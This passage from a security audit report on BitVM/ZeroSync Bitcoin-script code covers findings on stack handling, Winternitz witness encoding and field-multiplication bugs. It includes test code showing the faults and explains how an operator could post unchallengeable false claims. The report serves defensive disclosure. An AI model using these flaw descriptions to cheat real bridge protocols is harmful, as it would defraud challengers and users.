The codebase currently sets `NUM_PUBS = 1`, so the discussed issue cannot occur in the current configuration. However, `chunk_msm` is implemented in a manner suggesting support for other choices of `NUM_PUBS` as well. If `NUM_PUBS > 1`, and one of the scalars `input_ks[i]` were invalid, while `input_ks[0]` is valid, then this bug would complicate generation of the required transaction to disprove the operator.

Concretely, suppose `i` is minimal such that `input_ks[i]` is invalid, and the first segment handling `input_ks[i]` is the first one overall that is disprovable (in the entire sequence of segments, not just those relating to `chunk_msm`). Then the segment information with index `K*i` returned by `chunk_msm` is the one that the challenger will need to disprove, which requires correctly computing the preceeding steps as well. However, because `is_valid_input` that is returned for index `0` is already `false` due to this bug, the following snippet from `chunk::g16_runner_core::groth16_generate_segments` will return early and only push the

segment from `chunk_msm` belonging to index `0`, and then return.

```
let msms = wrap_hint_msm(
    skip_evaluation,
    all_output_hints.len(),
    pub_scalars.clone(),
    vky.clone(),
);
for msm in &msms {
    push_compare_or_return!(msm);
}
```

This segment will not be disprovable (as `input_ks[0]` is valid, and assuming that the operator did not commit to the incorrect output). The challenger requires generation of the `K*i`-th segment from `chunk_msm` (wrapped via `wrap_hint_msm`) for the disproval, but it will not be returned by the current code.

Thus, if `NUM_PUBS` were bigger than one, the operator could make `input_ks[0]` valid while `input_ks[1]` is invalid and then use illegitimate results of any later segments, and the challenger will not be able to directly use the existing code to generate an appropriate disprove transaction.

Note that in such a situation, the challenger could patch this bug in their codebase locally and then generate a disprove transaction, without requiring changes to on-chain scripts.

Recommendations

The decision when to use mock values for inputs and which results to return should depend on whether the currently handled scalar is invalid or not, rather than whether any scalar is invalid.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `27331d7b` ↗.

3.19. MSM segments drop too many elements on invalid input if NUM_PUBS > 1

Target	MSM		
Category	Coding Mistakes	**Severity**	High
Likelihood	N/A	**Impact**	Low

Description

The scripts of all MSM segments together facilitate the computation of a linear combination $\sum_{i=0}^{NUM_PUBS-1}[input_ks_i]qs_i$, where $input_ks_i$ are `Fr` scalars and qs_i are points on G1.

Each segment uses only a single scalar and corresponding point on G1 as input and contributes to the computation of a single multiplication $[input_ks_i]qs_i$. Every segment except for the first additionally receives the result of the previous segment as input and adds its contribution to accumulate the total result.

The segments are responsible to check that the input U256 value for $input_ks_i$ is a reduced `Fr` element. If that is not the case, the segment drops the `Fr` input and outputs a mock result together with a marker that the input was invalid.

We found that every segment except the first one erroneously drops `NUM_PUBS` elements from the stack instead of a single one on invalid input.

```
// bitvm/src/chunk/taps_msm.rs:
pub(crate) fn chunk_msm(
    input_ks: Vec<ark_ff::BigInt<4>>,
    qs: Vec<ark_bn254::G1Affine>,
) -> Vec<(ark_bn254::G1Affine, bool, Script, Vec<Hint>)> {
    //...
        let ops_script = if msm_tap_index == 0 {
            script! {
                // ...
                OP_IF
                    // input is valid
                    // ...
                OP_ELSE
                    // ...
                    // input is invalid, drop a single element (correct)
                    {Fr::drop()}
                    // ...
                OP_ENDIF
            }
        } else {
```

```
            script! {
                // ...
                OP_IF
                    // input is valid
                    // ...
                OP_ELSE
                    // ...
                    // input is invalid, drop `num_pubs` elements (incorrect)
                    for _ in 0..num_pubs {
                        {Fr::drop()}
                    }
                    // ...
                OP_ENDIF
            }
        }
```

Impact

If the input asserted by the operator is not a reduced `Fr` value, the assertion is invalid and the challenger must be able to successfully execute the tapscript to disprove the operator. Due to this finding, the tapscript does not execute successfully with the generated witness. This prevents the challenger from disproving the invalid operator assertions.

Because in the current code there is always only a single public input `NUM_PUBS=1`, the generated tapscripts are not affected.

Recommendations

Change the script to only drop a single element as in the first MSM segment:

```
for _ in 0..num_pubs {
    {Fr::drop()}
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 8e482824 ↗.

3.20. Winternitz signature `Witness` invalid as SegWit witness for some eight-bit digits

Target	signatures		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Low	**Impact**	Low

Description

In various parts of the Winternitz-signature–related code, `Witness` is used. One example is in bitvm/src/signatures/winternitz.rs, the function `Verifier::sign_digits`:

```
fn sign_digits(ps: &Parameters, secret_key: &SecretKey, message_digits:
    Vec<u32>) -> Witness {
    let digits = add_message_checksum(ps, message_digits);
    let mut result = Witness::new();
    for i in 0..ps.total_digit_len() {
        let sig = digit_signature(secret_key, i, digits[i as usize]);
        // FIXME: Do trailing zeroes violate Bitcoin Script's minimum data push
    requirement?
        //        Maybe the script! macro removes the zeroes.
        //        There is a 1/256 chance that a signature contains a trailing
    zero.
        result.push(sig);
        result.push(u32_to_le_bytes_minimal(digits[i as usize]));
    }
    result
}
```

Here, two byte vectors are pushed to a `Witness`. Note that the second byte vector is for the encrypted digit, which will always be a single byte.

As described in Finding 3.16. ↗, the current implementation of the conversion from `Witness` to a Bitcoin script treats vectors of length one different from the others. For other lengths, the vector is pushed as is, but for length one, the numeric value of the single byte is pushed.

The `Parameters::new` function allows four- to eight-bit digits. Through `Wots`, as of the time of writing, only four-bit digits are used. Thus, the difference in how single-byte byte vectors are handled by conversion of `Witness` to a script does not matter for those current usages, as the top bit will not be set. However, if `Parameters` with eight-bit digits were used, then it could happen that the digits have the top bit of the byte set. In this case, the two different possible behaviors of `Witness` with regards to single-byte byte vectors would matter.

Note that the a digit with value zero is special cased due to `u32_to_le_bytes_minimal` itself, which converts it to a length zero vector.

The function `signature_to_raw_witness` in bitvm/src/signatures/public.rs converts `Signature` data in the form of length-21 byte vectors into a `Witness` of the same form as produced by `sign_digits`.

In the other direction, `raw_witness_to_signature` takes a `Witness` as input, expects it to be of the form created by `sign_digits` or `signature_to_raw_witness`, and extracts a signature from it.

All three functions depend delicately on the precise interpretation and use of the single-byte vector stored in a `Witness`.

Impact

The verifiers expect that the digit that is claimed to be signed is present on the stack as an integer. This means that `sign_digits` and `signature_to_raw_witness`, as of the time of writing, generate witnesses that have the following properties:

1. If the `Witness` is used as a SegWit witness, digits are eight bits wide, and one of the digits had the top bit set (that is, bigger than or equal to 128), then the produced SegWit witness will be incorrect. This is because it will place the byte vector `[x]` on the stack with $x \geq 128$, which will be interpreted as a negative number and make the verifier fail.
2. If `Witness` is converted to a script using the `script!` macro, the resulting witness script will be correct and be compatible with the verifiers. Note that this relies on the current implementation of `NotU8Pushable` for `Witness`, which, as discussed in Finding 3.16. ↗, is inconsistent (we see this inconsistency here precisely in the difference between 1 and 2). Should Finding 3.16. ↗ be fixed as recommended, then the script obtained from the `Witness` via `script!` will also show the same behavior that is incompatible with the verifiers for digits $x \geq 128$.

The first of these two is a potential issue, should the resulting `Witness` be used as a SegWit witness. In this case, a fix might be to convert the digit to the appropriate Bitcoin encoding as a byte vector before pushing it to the `Witness`, which would fix 1 while still making 2 behave correctly with current implementations. This would also fix the new issue with 2 after fixing Finding 3.16. ↗ as recommended.

However, `raw_witness_to_signature` currently relies on the fact that the signed digits are stored in a `Witness` as a byte vector of length zero or one. Thus, changing the other two functions will require changes in this one as well.

Recommendations

In several places in Winternitz-signature–related code, usage of `Witness` appears to be unnecessary and liable to confusion with regards to the intended encoding, as evidenced by this

finding. We thus recommend to separate more cleanly the code that stores various data, such as signatures and the signed digits, which does not need to use the `Witness` type, and the code that actually prepares a `Witness` for use as a SegWit witness, or a script that is intended to be used analogously.

For example, `sign_digits` might return a `Vec<([u8;20], u32)>`. Interpretation for this return type would be clearer and decoding in functions like `raw_witness_to_signature` easier.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commits d8578bc1 ↗ and 0a320fcd ↗. We reviewed this fix under the assumption that the changes will be used together with the changes to rust-bitcoin-script with regards to Finding 3.16. ↗, concretely commit 88edfe19 ↗.

Commit d8578bc1 ↗ replaces `u32_to_le_bytes_minimal` by a new function `bitcoin_representation` that converts a `u32` into the byte vector representing (according to the Bitcoin script interpretation) the numeric value of the unsigned int, and uses it in the `sign_digits` and `signature_to_raw_witness` functions mentioned above, thereby making the resulting `Witness` behave correctly both as a SegWit witness as well as when being converted to a script using `script!`.

Commit 0a320fcd ↗ changes `raw_witness_to_signature` to use `read_scriptint` to decode signature digits encoded as in Bitcoin script, the necessary follow-on change to stay consistent with `signature_to_raw_witness`.

3.21. Additional drops and OP_TRUE in generate_taproot_leaf_script for ConnectorE

Target	ConnectorE::generate_taproot_leaf_script		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	N/A	**Impact**	Informational

Description

Note: This finding in out-of-scope code was noticed during the course of our review.

This finding concerns issues with the function `ConnectorE::generate_taproot_leaf_script` in bridge/src/connectors/connector_e.rs:

```
fn generate_taproot_leaf_script(&self, leaf_index: u32) -> ScriptBuf {
    assert_eq!(leaf_index, 0, "Invalid leaf index");
    let mut script = script! {};
    for (message, pk) in self.commitment_public_keys.iter().rev() {
        match message {
            CommitmentMessageId::Groth16IntermediateValues((_, size)) => {
                script = script.push_script(
                    script! {
                        {winternitz_message_checksig_verify(pk, *size)}
                        for _ in 0..*size {
                            OP_DROP
                        }
                        // it's must be exactly one on stack after execution
                        OP_TRUE
                    }
                    .compile(),
                );
            }
            _ => {
                panic!("connector e only reveal intermediate value of groth16")
            }
        }
    }
    script.compile()
}
```

Note how this script is a wrapper around `winternitz_message_checksig_verify`, intended to verify a number of Winternitz signatures. In the current implementation, `winternitz_message_checksig_verify` is called, followed by dropping some stack elements and `OP_TRUE` to leave the stack with the boolean `true` at the top of the stack.

However, `winternitz_message_checksig_verify` drops the message already as well:

```
pub fn winternitz_message_checksig_verify(
    public_key: &WinternitzPublicKey,
    message_size: usize,
) -> Script {
    script! {
        { WINTERNITZ_MESSAGE_VERIFIER.checksig_verify(&public_key.parameters,
    &public_key.public_key) }
        // TODO(LucidLuckylee): Instead of using OP_DROP use a Winternitz
    Verifier that consumes
        // the message
        for _ in 0..message_size {
            OP_DROP
        }
    }
}
```

Thus, it appears that the additional `OP_DROP` instructions in `ConnectorE::generate_taproot_leaf_script` are unintentional and will require the spender to add additional stack elements to their witness, which will never be used except dropped. Note that the requirement for this extra unnecessary witness data would increase the transaction size, increasing costs and potentially even making the transaction too large to fit into a block.

Additionally, every loop iteration introduces an `OP_TRUE` to the script, which is likely also a bug should the loop run for more than one iteration, with `OP_TRUE` only being intended to be included once at the end of the script. Iterations except the last will leave `1` (true) at the top of the stack, which will be interpreted as a claimed signed digit by the next `winternitz_message_checksig_verify` script, making it impossible for the spender to sign anything other than `1` for the checksum digit of their signature.

Impact

In the audited version of the code, it appears that `ConnectorE::generate_taproot_leaf_script` is not usable for more than one signature being verified by a single `ConnectorE`.

Additionally, the current code might either fail to generate a usable witness (due to not including data to be dropped by the additional `OP_DROP`) or might generate a witness that is unnecessarily large (as the `OP_DROP`s could be removed). As `ConnectorE` is out of scope for our audit, we did not test how the current witness-generation code handles the additional drops.

Recommendations

Review and test `ConnectorE::generate_taproot_leaf_script` to ensure it can be spent — also in the case of `commitment_public_keys` being of length greater than one. Consider removing the drops in `ConnectorE::generate_taproot_leaf_script` in combination with adjusting witness-generation code as required.

Remediation

This issue has been acknowledged by ZeroSync. ZeroSync informed us that the impacted code will not be used.

3.22. Window size of 1 leads to incorrect results for `tmul`

Target	bn254::fq::fp_lc_mul		
Category	Coding Mistakes	**Severity**	High
Likelihood	N/A	**Impact**	Low

Description

The `fp_lc_mul` macro in bitvm/src/bn254/fq.rs can be used to implement different variants of multiplication for the `Fq` field. One parameter of the macro is the window size. For example, one invocation of the macro is as follows, where the window size is four:

```
fp_lc_mul!(Mul, 4, 4, [true]);
```

Roughly, the generated `tmul` function will take `x`, `y`, and `q` from the stack and compute `x*y - q*p` (arithmetic as integers), with `p` the prime order of the field. To compute this term, the algorithm splits `y` and `p` into windows of a number of bits each. This is the window size. So, for example, with a window size of four, the algorithm will start by extracting the top four bits of `y` and `p` — let us call them `y'` and `p'` — and computing `x*y' - q*p'`. This result is then shifted left by four bits, and the contribution from the next four bits of `y` and `p` is added, and so on. In principle, different window sizes could be used for `y` and `p`, and this is the reason why the macro in the above example has two arguments with value 4. However, the implementation restricts these two parameters to be equal.

One important part of the script is the `var_windows_script` subscript, which is used to extract windows from `y` (such a script is not necessary to obtain the windows from `p`, as `p` is a constant). The main loop that extracts and accumulates the relevant bits is the following:

```
for i in st..VAR_WIDTH {
    if s_limb > e_limb {
        if i % LIMB_SIZE == (s_bit % LIMB_SIZE) + 1 {
            // window is split between multiple limbs
            { stack_top + T::N_LIMBS * j + e_limb + 1 } OP_PICK
        }
    }
    if ( i == 0){
        { 1 << ((s_bit - i) % LIMB_SIZE) }
        OP_2DUP
        OP_GREATERTHANOREQUAL
        OP_IF
            OP_SUB
            2
        OP_ELSE
```

```
            OP_DROP
            0
        OP_ENDIF
        OP_SWAP
    } else{
        if (s_bit - i) % LIMB_SIZE > 7 {
            { 1 << ((s_bit - i) % LIMB_SIZE) }
            OP_2DUP
            OP_GREATERTHANOREQUAL
            OP_IF
                OP_SUB
                OP_SWAP OP_1ADD
            OP_ELSE
                OP_DROP
                OP_SWAP
            OP_ENDIF
            if i < VAR_WIDTH - 1 { { NMUL(2) } }
            OP_SWAP
        } else {
            OP_TUCK
            { (1 << ((s_bit - i) % LIMB_SIZE)) - 1 }
            OP_GREATERTHAN
            OP_TUCK
            OP_ADD
            if i < VAR_WIDTH - 1 { { NMUL(2) } }
            OP_ROT OP_ROT
            OP_IF
                { 1 << ((s_bit - i) % LIMB_SIZE) }
                OP_SUB
            OP_ENDIF
        }
    }
}
```

There is some logic and optimization present for moving from one limb to the next, which is not relevant to this finding. For this finding, we consider the case where `i` ranges from `0` to `VAR_WIDTH - 1` (where `VAR_WIDTH` is the window size). In each iteration of the loop, a single bit is extracted, and an accumulator is updated with this bit.

The accumulator used will already be shifted at the start of each loop iteration, ready for another bit to be added. If this was the last loop iteration, the updated accumulator is the result and should be kept as is. If instead, this is not the last iteration, then the accumulator needs to be shifted left by one bit again to be ready for the next iteration of the loop.

This logic can be seen in both branches inside the top-level else branch in this snippet:

```
if i < VAR_WIDTH - 1 { { NMUL(2) } }
```

Here, the accumulator is multiplied by two precisely if the current loop iteration is not the last one.

Note that in the very first loop iteration, when `i=0`, the accumulator needs to be initialized, so the script handles the first iteration differently from the other iterations. In this case, the accumulator is directly initialized to either `0` or `2`:

```
OP_IF
    OP_SUB
    2
OP_ELSE
    OP_DROP
    0
OP_ENDIF
```

This is correct whenever this is not the last loop iteration. However, when `VAR_WIDTH=1` so that the first is also the last loop iteration, then, if the extracted bit was `1`, this will cause the result to be `2` instead of the correct `1`.

Impact

If the window size is set to `1`, then results of `tmul` will in some cases be incorrect. The following test demonstrates this:

```
fp_lc_mul!(ZellicMulWindow1, 1, 1, [true]);
#[test]
fn test_zellic_tmul_window_1() {
    let a = ark_bn254::Fq::from(1 as i32);
    let b = ark_bn254::Fq::from(2 as i32);
    let c = ark_bn254::Fq::from(4 as i32);
    let mut quotient_limbs : [i32; 9] = [0; 9];
    let script = script! {
        for limb in quotient_limbs {
            { limb }
        }
        { Fq::push(a) }
        { Fq::push(b) }
        { <Fq as Fp254ZellicMulWindow1>::tmul() }
        { Fq::push(c) }
        { Fq::equal(0, 1) }
    };
    run(script);
}
```

This test succeeds, demonstrating that `tmul` will compute a result of `4` for `1*2`, which is incorrect.

At the time of writing, the `fp_lc_mul` macro is only used with window sizes bigger than one, so there is no current impact in the codebase.

Recommendations

The `i==0` branch should distinguish between whether `i < VAR_WIDTH - 1` or not regarding initialization of the accumulator when the bit was one.

```
OP_IF
    OP_SUB
     2
     if i < VAR_WIDTH - 1
       { 2 }
     else
       { 1 }
OP_ELSE
    OP_DROP
    0
OP_ENDIF
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 651cc794 ↗.

The commit makes an assertion in the `init_table` function sharper, which now rules out a value of `1` for `window`:

```
fn init_table(window: u32) -> Script {
    assert!(
         (1..=6).contains(&window),
         (2..=6).contains(&window),
        "expected 1<=window<=6; got window={}",
        window
    );
```

This function is called in the generation of the main `tmul` script:

```
{ init_table(MOD_WIDTH) }
```

The `MOD_WIDTH` argument is asserted to be equal to `VAR_WIDTH` at the start of the `tmul` function:

```
assert_eq!(MOD_WIDTH, VAR_WIDTH);
```

Hence, `init_table` will be called with the value of `VAR_WIDTH` and thereby rule out (by panic otherwise) that `tmul` is called with `VAR_WIDTH=1`. The upshot is that the conditions of this finding can not occur, as `VAR_WIDTH=1` is not supported anymore.

3.23. Possible failures of `tmul` if the number of summands is not a power of two

Target	bn254::fq::fp_lc_mul		
Category	Coding Mistakes	**Severity**	High
Likelihood	N/A	**Impact**	Low

Description

The `fp_lc_mul` macro in bitvm/src/bn254/fq.rs can be used to implement different variants of multiplication for the `Fq` field. Instead of only supporting multiplications of two factors, it supports computing $\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i$ in the field `Fq`, with x_i, y_i elements of the field that are inputs to the computation and s_i fixed constant signs, that is $s_i \in \{-1, 1\}$.

The signs s_i are given as the `LCS` argument to the macro, which also then determines the number of summands. Note that we assume throughout that `LCS` is not empty.

A relevant constant derived from the length of `LCS` is `LC_BITS`:

```
const LC_BITS: u32 = usize::BITS - $LCS.len().leading_zeros() - 1;
```

The name could suggest that this should be the number of bits needed to represent the length of `LCS`. If we denote by L the length of `LCS` and by b the value of `LC_BITS`, then this interpretation would be equivalent to $2^{b-1} \leq L < 2^b$.

Another plausible interpretation would be that this refers to an integer b so that $2^{b-1} < L \leq 2^b$. This is what we believe is the correct inequality that should be satisfied, so we will refer to it as the "correct inequality" or similar. We will argue later in this description why this is the correct inequality.

However, this expression does not compute either of those. The expression `usize::BITS - $LCS.len().leading_zeros()` gives a value b', which satisfies the first interpretation, so $2^{b'-1} \leq L < 2^{b'}$. However, one is subtracted from this. Thus, the obtained integer b satisfies only $2^b \leq L < 2^{b+1}$. We will refer to this as the "actual inequality" or similar when contrasting it to the correct inequality mentioned above.

We can reformulate the two inequalities by taking the logarithm to basis 2. In the case of the correct inequality, this becomes $b - 1 < \log_2(L) \leq b$, and in the case of the actual inequality, this becomes $b \leq \log_2(L) < b$. We can reformulate this as the correct value of b being given by $b = \lceil \log_2(L) \rceil$. For the actual value we obtain instead $b = \lfloor \log_2(L) \rfloor$.

The way `LC_BITS` is used is in the amount of bits available for the bigint type used for intermediate computations:

```
type T = BigIntImpl<{ Self::N_BITS + $VAR_WIDTH +
    <Self as [<Fp254 $NAME>]>::LC_BITS + 1}, {
    <Self as [<Fp254 $NAME>]>::LIMB_SIZE }>;
```

The number of bits used for the bigint representing field elements themselves is 254. Let us denote the window size (here as `VAR_WIDTH`) by w. Then we can say that `T` is a bigint type that is $254 + w + b + 1$ bits wide. Computations with `T` are interpreted as signed integer operations (using two's complement), so the available range is from $-2^{254+w+b}$ to $2^{254+w+b} - 1$ (inclusive).

What the `tmul` function defined by `fp_lc_mul` actually computes is $r = \sum_{i=0}^{n-1} s_i \cdot x_i \cdot y_i - q \cdot p + c$ (where here all arithmetic operations are as integers). The integer q is provided as a hint and should be such that the result is between 0 and $p - 1$ (inclusive), which is checked by `tmul` at the very end. The value of c is either 0 or p depending on the sign of q and is not relevant to this finding; see Finding 3.37. ↗[2] for more details. Should any of the x_i or y_i or the result r not be in the valid range from 0 to $p - 1$, then the script is intended to fail. In other cases, it should succeed and leave the result r on the stack.

For the result to be correct, it is important that intermediate computations do not overflow the type `T`. Thus, arithmetic with `T` is done in such a way that overflows are prevented, leading to a failure of the script instead (see Finding 3.15. ↗ for an exception). This could for example happen if q is incorrect: `tmul` would perform according to specification if r is computed according to the formula above, and then the script fails due to the range check or the script fails earlier due to an overflow. In both cases, the end result is a failure of the script. However, for correct inputs, it is important that no overflows happen, causing the script to fail, as this would make certain computations impossible to perform.

As x_i and y_i can both be about 254 bits wide, their product can certainly overflow in `T`. Because of this, `tmul` does not compute r the naive way (by computing each product, then summing up) but instead uses interleaved windowed multiplication and accumulation.

For this, y_i and p are decomposed into limbs of width w, so that for example $p = \sum_{j=0}^{\lceil \frac{254}{w} \rceil - 1} p^{(j)} \cdot 2^{j \cdot w}$ with $0 \leq p^{(j)} < 2^w$. We use similar notation $y_i^{(j)}$ for y_i. For simpler notation, let us define $W = \lceil \frac{254}{w} \rceil - 1$.

[2] Note that the c refers to something different in the context of that finding.

The `tmul` script then computes step-by-step the following values, for k from -1 to $W-1$.

$$A_k = \sum_{i=0}^{L-1} s_i \cdot x_i \cdot \left(\sum_{j=W-k}^{W} y_i^{(j)} \cdot 2^{(j-(W-k))\cdot w} \right) - q \cdot \sum_{j=W-k}^{W} q^{(j)} \cdot 2^{(j-(W-k))\cdot w}$$

$$B_k = \sum_{i=0}^{L-1} s_i \cdot x_i \cdot \left(\sum_{j=W-k}^{W} y_i^{(j)} \cdot 2^{(j-(W-(k+1)))\cdot w} \right) - q \cdot \sum_{j=W-k}^{W} q^{(j)} \cdot 2^{(j-(W-(k+1)))\cdot w}$$

$$C_k = \sum_{i=0}^{L-1} s_i \cdot x_i \cdot \left(\sum_{j=W-(k+1)}^{W} y_i^{(j)} \cdot 2^{(j-(W-(k+1)))\cdot w} \right) - q \cdot \sum_{j=W-k}^{W} q^{(j)} \cdot 2^{(j-(W-(k+1)))\cdot w}$$

Note that extending the definition to $k = W$, we have that $A_W = \sum_{i=0}^{n-1} s_i \cdot x_i \cdot y_i - q \cdot p$, which (up to the correction summand c) is the result that `tmul` should compute. The above intermediate steps suggest a way to compute A_W step-by-step:

$$\begin{aligned} A_{-1} &= 0 \\ B_k &= A_k \cdot 2^w \\ C_k &= B_k + \sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i^{(W-(k+1))} \\ A_{k+1} &= C_k - q \cdot q^{(W-(k+1))} \end{aligned}$$

This is the way in which `tmul` computes A_W.

As mentioned before, with correct q, all of these intermediate values need to lie in the range supported by the type `T`.

However, this is not ensured when L is not a power of two. To explain this, let us focus on the step from B_k to C_k. Suppose that all s_i are positive. Then the value being added to B_k to obtain C_k can be bounded as follows:

$$\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i^{(W-(k+1))} \leq L \cdot (p-1) \cdot (2^w - 1) < L \cdot 2^{254+w}$$

If we wanted to be able to conclude from this that this fits into the type `T` without overflow, we would need to argue that the value on the right is smaller than or equal to $2^{254+w+b}$. We would like to know that $L \leq 2^b$, so $b \geq \lceil \log_2(L) \rceil$. However, in the actual definition of b in the code, $b = \lfloor \log_2(L) \rfloor$. Thus, we cannot conclude that the above expression fits into the type `T` without overflow. Note that if L is a power of two, then $\lfloor \log_2(L) \rfloor = \lceil \log_2(L) \rceil$, so this issue only occurs when L is not a power of two.

The argument above is just a heuristic that suggests that `T` might be one bit too narrow when L is not a power of two, but it does not show that this is indeed a problem. Note also that we just

focused on one particular step in the computation, but this is not intended to suggest that the overflow can only arise in the step from B_k to C_k.

To construct an example that demonstrates the possibility of an overflow on correct inputs, note that as x_i and q can be up to $p-1$, which is a 254-bit number, it is not difficult to find inputs and k so that B_k is a number bigger than, say, 2^{252}. Let us then concretely use $L=3, w=3$ (making $b=1$) and set $x_i = p-1$ and y_i in such a way that lower width-w windows are maximal — that is, all bits are set. (In practice, one could start with the binary representation of p, replace one of the more significant 1 bits by 0, and then replace less significant bits by 1.)

In that case, we obtain the following for a k, for which $B_k \geq 2^{252}$ and the relevant limbs of y_i are maximal:

$$\begin{aligned}
C_k &= B_k + \sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i^{(W-(k+1))} \\
&\geq 2^{252} + L \cdot (p-1) \cdot (2^w - 1) \\
&\geq 2^{252} + 3 \cdot \left(2^{253} + 2^{252}\right) \cdot 7 \\
&= 2^{252} + 3 \cdot 3 \cdot 2^{252} \cdot 7 \\
&= 64 \cdot 2^{252} \\
&= 2^{6+252} \\
&= 2^{254+w+b}
\end{aligned}$$

Thus, an arithmetic overflow will occur, and the script will fail.

The following test demonstrates this in practice:

```
fp_lc_mul!(ZellicMulNonPowerTwoLCSLength, 3, 3, [true, true, true]);

#[test]
fn test_zellic_windowed_mul_overflow_non_power_two_lcs() {
    type U = <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::U;
    type T = <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::T;

    println!("LCS = {:?}", <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::LCS);
    println!("LC_BITS = {}",
    <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::LC_BITS);
    println!("T::N_BITS = {}", T::N_BITS);

    let lcs = <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::LCS;

    let zero = &BigInt::ZERO;
    let modulus = &Fq::modulus_as_bigint();

    let xs = lcs.map(|_| modulus - BigInt::one());
    let ys = lcs.map(|_| BigInt::from_str_radix(
```

```
    "1100000110010001001110001100101110111111111111111111111111111111111111111111111\

    1111111111111111111111111111111111111111111111111111111111111111111111111111111\

    1111111111111111111111111111111111111111111111111111111111111111111111111111111\
        11111111111111111111",
         2
    ).unwrap());
    let mut qs = vec![];
    let mut rs = vec![];

    let mut c = zero.clone();
    for i in 0..lcs.len() {
        let xy = &xs[i] * &ys[i];
        qs.push(&xy / modulus);
        rs.push(&xy % modulus);
        c += if lcs[i] { xy } else { -xy };
    }
    let r = &c % modulus;
    let r = &(if r.is_negative() { modulus + r } else { r });

    // correct quotient
    let q = &(&c / modulus);
    let script = script! {
        { T::push_u32_le(&bigint_to_u32_limbs(q.clone(), T::N_BITS)) }
        for i in 0..lcs.len() {
            { U::push_u32_le(&xs[i].to_u32_digits().1) }
        }
        for i in 0..lcs.len() {
            { U::push_u32_le(&ys[i].to_u32_digits().1) }
        }
        { <Fq as Fp254ZellicMulNonPowerTwoLCSLength>::tmul() }
        { U::push_u32_le(&r.to_u32_digits().1) }
        { U::equal(0, 1) }
    };
    let res = execute_script(script);
    assert!(res.success);

}
```

Running the test with `AUDIT_INTERPRETER_PRINTLN=1`, one can see that the script fails at an `OP_VERIFY`. The last instructions are `OP_NEGATE OP_SWAP OP_WITHIN OP_VERIFY`. As `OP_WITHIN` is very rare in the codebase, this uniquely identifies a failure in `limb_lshift_with_carry_prevent_overflow` in bitvm/src/bigint/add.rs, which is only called from `lshift_prevent_overflow` in the same file. This is called from `tmul` in the step from A_k to B_k, so

the constructed example fails (also) in that step rather than the one from B_k to C_k that we focused on above.

Impact

Should `fp_lc_mul` be used with an odd number of summands, then the resulting `tmul` will be unusable for some inputs. While this may seem minor, in the context of the larger BitVM2 projects, this would be a critical completeness issue. An operator could post a claim in which one `tmul` hits the above case, and thus it will not be possible (no matter which hint q is used) to post a transaction that will carry out the relevant step of the computation. The operator can thus make incorrect claims that cannot be challenged; it is not the operator that needs to post a transaction that actually runs the script for a chunk but the challenger, and due to the bug, this will not be possible without causing the script to fail. The operator thus gets their rewards after the challenge period runs out, even though their claim was incorrect.

In the current codebase, the `fp_lc_mul` macro is only used with `LCS` that has length a power of two, so the issue does not occur in the audited version.

Recommendations

Instead of computing $\lfloor \log_2(L) \rfloor$, the definition of `LC_BITS` should compute $\lceil \log_2(L) \rceil$. This might be done as follows:

```
const LC_BITS: u32 = usize::BITS - $LCS.len().leading_zeros() - 1;
const LC_BITS: u32 = usize::BITS - (LCS.len() - 1).leading_zeros();
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 2532a23f ↗.

3.24. Improper detection of invalid input to E' addition

Target	MillerPointOpsStep1		
Category	Code Maturity	**Severity**	High
Likelihood	N/A	**Impact**	Informational

Description

The script type of the MillerPointOpsStep1 segments depends on parameters `is_dbl`, `are_bit`, and `is_frob`. This finding is concerned with the segments with `is_dbl = false`. In this case, the ops script includes the computation of the addition of two points `t` and `qq` on the curve E'.

The script part for this point addition is generated by the function `chunk::taps_point_ops::utils_point_add_eval`. The challenger must provide a line through `t` and `qq` as computational hints. The script validates that the line given by challenger passes through both points to be added.

We found that the result of this script can be incorrect if both points `t` and `qq` are nonzero and equal to each other. If both added points are equal, the provided line must be the tangent at that point for the result to be correct. While the generated computational hints are correct for the tangent line, the script does not enforce this restriction.

Impact

With the current implementation, the error has no impact. However, as described in the following details, this relies on circumstantial implementation details.

Impact analysis for a valid Groth16 proof

The points added in the MillerPointOpsStep1 segment all depend on the point `b` from the Groth16 proof (see section 5. ↗ for notation). For a valid Groth16 proof, this point lies in the subgroup G2. The addition is used in the Miller loop to incrementally compute $[(\sum_{i=0}^{N-1} 2^i m_i) + 2 + q - q^2]b$ where

- q is the characteristic of the base field
- `m = ark_bn254::curves::Config::ATE_LOOP_COUNT` is a signed bit representation of $m_{opt} = \sum_{i=0}^{N-1} 2^i m_i = 6 \cdot 4965661367192848881 + 2$

In the incremental computation, the segments MillerPointOpsStep1 with `is_dbl = false` execute the following additions:

- for $0 \leq k < N-2$, $[\sum_{i=k+1}^{N-1} 2^{i-k} m_i]b + [m_k]b$

- $[\sum_{i=0}^{N-1} 2^i m_i]b + [q]b$
- $[(\sum_{i=0}^{N-1} 2^i m_i) + q]b + [-q^2]b$

In all cases, the coefficients of b in the additions differ (even mod `r`, the order of G2). Thus, it does not happen that two equal nonzero points are added.

Impact analysis for an invalid Groth16 proof

If the operator provides an invalid point `b` that is not in G2, it can occur in some cases that a point is to itself in the Miller loop. For example, the order of `E'` is divisible by 3. If the operator chooses a point of order 3, there are only three different points that can occur as multiple of `b`. The above additions all add multiples of `b`, and it indeed happens that in some cases both of the coefficients are nonzero and agree (mod 3).

The corresponding tapscript then becomes disprovable, because the challenger can provide computational hints that lead to an incorrect result being computed by the ops script. However, the generated hints provide the coefficients for the tangent line and therefore lead to the correct result being computed. If the operator asserted the correct result, these hints do not disprove the tapscript.

If the operator asserted the correct results for all other segments, it is possible that the generated hints do not disprove any segment up to the final segment PostMillerFinalVerify, which then is disproved because it detects that `b` was not in G2.

